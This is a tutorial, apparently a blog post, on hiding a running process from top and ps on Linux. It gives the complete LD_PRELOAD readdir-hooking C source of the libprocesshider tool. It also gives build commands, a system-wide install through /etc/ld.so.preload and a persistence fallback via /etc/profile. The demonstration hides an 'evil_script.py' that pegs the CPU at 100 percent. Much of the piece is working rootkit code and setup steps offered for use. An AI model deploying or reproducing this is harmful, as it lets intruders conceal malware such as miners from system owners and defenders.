Preface
- The tools used in this article are https://github.com/gianlucaborello/libprocesshider Downloadable
-
The idea is to use LD_PRELOAD to hijack system functions
What is LD_PRELOAD:
LD_PRELOAD is an environment variable on Linux that affects the Runtime linker of a program, allowing you to define dynamic link libraries that are loaded first before the program runs.This function is primarily used to selectively load the same functions from different dynamic link libraries.With this environment variable, we can load other dynamic link libraries in the middle of the main program and its dynamic link libraries, even overwriting normal function libraries.On the one hand, we can use this function to use our own or better functions (without other people's source code), on the other hand, we can also inject programs into other people's programs to achieve specific purposes.
Realization
1. Download program compilation
bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git Cloning into 'libprocesshider'... remote: Counting objects: 26, done. remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26 Unpacking objects: 100% (26/26), done. bmfxgkpt-yhd:~# cd libprocesshider/ bmfxgkpt-yhd:~/libprocesshider# make gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl bmfxgkpt-yhd:~/libprocesshider#
2. Move files to/usr/local/lib/directory
mv libprocesshider.so /usr/local/lib/
3. Load it into the Global Dynamic Connection Board
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
test
- We run evil_script.py
- At this point, it was found that evil_script.py could not be found in both top and ps.
At this point we found that the cpu was 100%, but we couldn't find any programs that occupy a high cpu
Analysis
#define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <dirent.h> #include <string.h> #include <unistd.h> /* * Every process with this name will be excluded */ static const char* process_to_filter = "evil_script.py"; /* * Get a directory name given a DIR* handle */ static int get_dir_name(DIR* dirp, char* buf, size_t size) { int fd = dirfd(dirp); if(fd == -1) { return 0; } char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; } buf[ret] = 0; return 1; } /* * Get a process name given its pid */ static int get_process_name(char* pid, char* buf) { if(strspn(pid, "0123456789") != strlen(pid)) { return 0; } char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; } if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f); return 0; } fclose(f); int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf); return 1; } #define DECLARE_READDIR(dirent, readdir) \ static struct dirent* (*original_##readdir)(DIR*) = NULL; \ \ struct dirent* readdir(DIR *dirp) \ { \ if(original_##readdir == NULL) { \ original_##readdir = dlsym(RTLD_NEXT, "readdir"); \ if(original_##readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_##readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ strcmp(process_name, process_to_filter) == 0) { \ continue; \ } \ } \ break; \ } \ return dir; \ } DECLARE_READDIR(dirent64, readdir64); DECLARE_READDIR(dirent, readdir);
- The program defines a variable, process_to_filter, to control which process name is not displayed
- Rewrite readdir,
strcmp(process_name, process_to_filter) == 0)
Continue the loop when you find that the current process name is the same as process_to_filter.
Pits encountered
-
This program does not compile well on some Linux
Solution
Delete one of the last two lines
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
-
Used on some Linux
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preloadWill not take effect
We need to configure environment variables at this point
bmfxgkpt-yhd:~# vi /etc/profile
Add a line
export LD_PRELOAD=/usr/local/lib/libprocesshider.so